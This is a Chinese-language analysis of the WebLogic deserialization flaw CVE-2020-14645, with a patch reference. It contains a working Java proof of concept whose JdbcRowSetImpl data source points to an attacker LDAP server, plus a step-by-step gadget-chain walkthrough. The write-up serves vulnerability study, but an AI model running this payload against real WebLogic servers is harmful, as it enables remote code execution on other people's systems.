Weblogic漏洞分析之JNDI注入-CVE-2020-14645

Oracle七月釋出的安全更新中,包含了一個Weblogic的反序列化RCE漏洞,編號CVE-2020-14645,CVS評分9.8。

該漏洞是針對於CVE-2020-2883的補丁繞過,CVE-2020-2883補丁將MvelExtractorReflectionExtractor列入黑名單,因此需要另外尋找一個存在extract且方法記憶體在惡意操作的類即可繞過補丁。

這裡找到的是 Weblogic 12.2.1.4.0 Coherence 元件特有的類 com.tangosol.util.extractor.UniversalExtractor,因此只能影響 Weblogic 12.2.1.4.x。

1)影響範圍

Oracle WebLogic Server 12.2.1.4.0

2)漏洞復現

這裡使用JNDI-Injection-Exploit工具開啟一個ldap服務端

https://github.com/welk1n/JNDI-Injection-Exploit

這裡使用了Y4er師傅的poc,生成poc檔案,使用t3協議傳送

package com.yyhuni;

import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.extractor.UniversalExtractor; import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.util.PriorityQueue; public class Test {
public static void main(String[] args) throws Exception {
// CVE_2020_14645
UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
final ExtractorComparator comparator = new ExtractorComparator(extractor); JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
rowSet.setDataSourceName("ldap://192.168.202.1:1389/ayicvn");
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); Object[] q = new Object[]{rowSet, rowSet}; Field queue1 = queue.getClass().getDeclaredField("queue");
queue1.setAccessible(true);
queue1.set(queue,q); Field queue2 = queue.getClass().getDeclaredField("size");
queue2.setAccessible(true);
queue2.set(queue,2); //serial
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
objectOutputStream.writeObject(queue);
objectOutputStream.close(); //unserial
ObjectInputStream objectIntputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
objectIntputStream.readObject();
objectIntputStream.close();
}
}

彈出計算器:

3)漏洞分析

UniversalExtractor#extract中,利用了invoke呼叫 JdbcRowSetImpl#getDatabaseMetaData方法導致 JDNI 遠端動態類載入。UniversalExtractor 是 Weblogic 12.2.1.4.0 版本中獨有的。

gadget鏈:

 - PriorityQueue#readObject
- ExtractorComparator#compare
- this.m_extractor.extract
- UniversalExtractor#extract
- UniversalExtractor#extractComplex
- method.invoke#205
- JdbcRowSetImpl#getDatabaseMetaData

下面就分別解析PriorityQueue、ExtractorComparator、UniversalExtractor、JdbcRowSetImpl這四個類是怎麼進行串聯產生呼叫關係的

3.1 JdbcRowSetImpl

JdbcRowSetImpl中,呼叫其getDatabaseMetaData方法,會進行lookup的操作

可以看到,如果this.getDataSourceName()引數可控,則會產生JNDI注入

3.2 UniversalExtractor

使用此類的目的是,此類的extract方法,可以呼叫到JdbcRowSetImplgetDatabaseMetaData方法

構造方法

先來看UniversalExtractor的建構函式,在payload中傳入了三個引數sName、aoParam、nTarget做了哪些操作

UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);

如果第一個if判斷為true的話,則會丟擲異常。所以傳入的aoParam值為null,會跳轉到else中

跳轉到else中,分別給m_sName、m_aoParam、m_nTarget賦值,接著呼叫了this.init()

跟進this.init()

148行呼叫了getCanonicalName方法,把返回值傳給了sCName,跟進getCanonicalName

86行的Lambdas.getValueExtractorCanonicalName(this)是判斷this是否為AbstractRemotableLambda型別,此處就不跟入了,它的返回值是null。

所以進入了88行的if語句中,CanonicalNames.computeValueExtractorCanonicalName(this.m_sName, this.m_aoParam);

跟進computeValueExtractorCanonicalName方法

這裡三個框分別解釋下

  1. 如果aoParam 不為 null 且陣列長度大於0就會返回 null ,此處aoParam是我們傳入的null,不滿足條件,進入else

  2. 如果方法名 sName 不以 () 結尾,則直接返回方法名,我們sName的值是getDatabaseMetaData(),不滿足條件,進入else

  3. 如果方法名以 VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES 陣列中的字首開頭得話,會擷取掉並返回,檢視到陣列中的元素有get、is,所以擷取掉了getDatabaseMetaData()前面的get,最終返回了databaseMetaData

最終返回的databaseMetaData會賦值給init方法中的sCName

接下來一行把this.m_fMethod賦值為了false

到這裡UniversalExtractor的建構函式就已經執行完了。接下來看下UniversalExtractorextract方法

extract方法

extract方法中,傳入了oTarget,呼叫了extractComplex方法,跟進extractComplex方法

extractComplex方法中有使用到反射呼叫oTarget的任意方法method.invoke(oTarget, aoParam),而這裡有三個引數分別是method、oTarget、aoParam,需要對這三個引數可控才可以呼叫到JdbcRowSetImplgetDatabaseMetaData方法。

現在來拆解extract方法,來理解這個extract方法是怎麼一步步呼叫到最後的invoke的。

第一個if語句判斷oTarget的值是不是等於null

從而走進else中,第二個if語句判斷targetPrev的值如果為null,則走進else中,顯然在69行,targetPrev被賦予了一個預設值null

接著在else中就是呼叫了this.extractComplex(oTarget)

跟進extractComplex

開頭幾行分別是對一些變數進行賦值

clzTarget為com.sun.rowset.JdbcRowSetImpl的class物件
aoParam為null
clzParam為null
sCName為databaseMetaData
fProperty為true

這裡就解釋下fProperty為什麼是true,可以在isPropertyExtractor方法中看到,取反this.m_fMethod,而this.m_fMethod則是在前面init中被賦予了false

所以186行第一個if語句進入了true

sBeanAttribute的值為sCName第一個首字母變成大寫後的值DatabaseMetaData

重點看for迴圈裡面的內容,因為此內容拿到了關鍵的method

在BEAN_ACCESSOR_PREFIXES中有get、is方法,for迴圈遍歷拿到clzTarget物件(com.sun.rowset.JdbcRowSetImpl)的get,is + sBeanAttribute(DatabaseMetaData)方法,然後賦值給了method

最後進行了method.invoke(oTarget, aoParam)

method值為getDatabaseMetaData

oTarget值為JdbcRowSetImpl

aoParam值為null

接下來就是呼叫到了JdbcRowSetImplgetDatabaseMetaData方法造成了JNDI注入

3.3 ExtractorComparator

ExtractorComparator類的compare方法會去呼叫UniversalExtractor#extract,並且傳入了o1,而此處的o1則是最後UniversalExtractor的oTarget(JdbcRowSetImpl)

3.4 PriorityQueue

PriorityQueue類是此漏洞的入口,其以readObject為入口,最後呼叫到ExtractorComparator#compare方法,下面是PriorityQueue的呼叫鏈

readObject
->heapify()
-> siftDown(i, (E) queue[i])
-> siftDownUsingComparator
-> comparator.compare(x, (E) c) <= 0
-> ExtractorComparator#compare

這裡有幾個注意點:

comparator的值為PriorityQueue的建構函式中傳入

comparator.compare(x, (E) c)中x和c的值都是在queue陣列中獲得

最後一點是size的值要大於等於2,不然不會進入while語句中

最後構造出整個漏洞的呼叫鏈

入口在PriorityQueue#readObject
-》 ExtractorComparator#compare
-》 this.m_extractor.extract
-》 UniversalExtractor#extract
-》 UniversalExtractor#extractComplex
-》 method.invoke#205
-》 JdbcRowSetImpl#getDatabaseMetaData

4)修復方式

安裝Weblogic補丁:p31537019_122140_Generic

5)參考

https://www.anquanke.com/post/id/210724

https://nosec.org/home/detail/4524.html

https://paper.seebug.org/1280/#cve-2020-2883

https://github.com/Y4er/CVE-2020-14645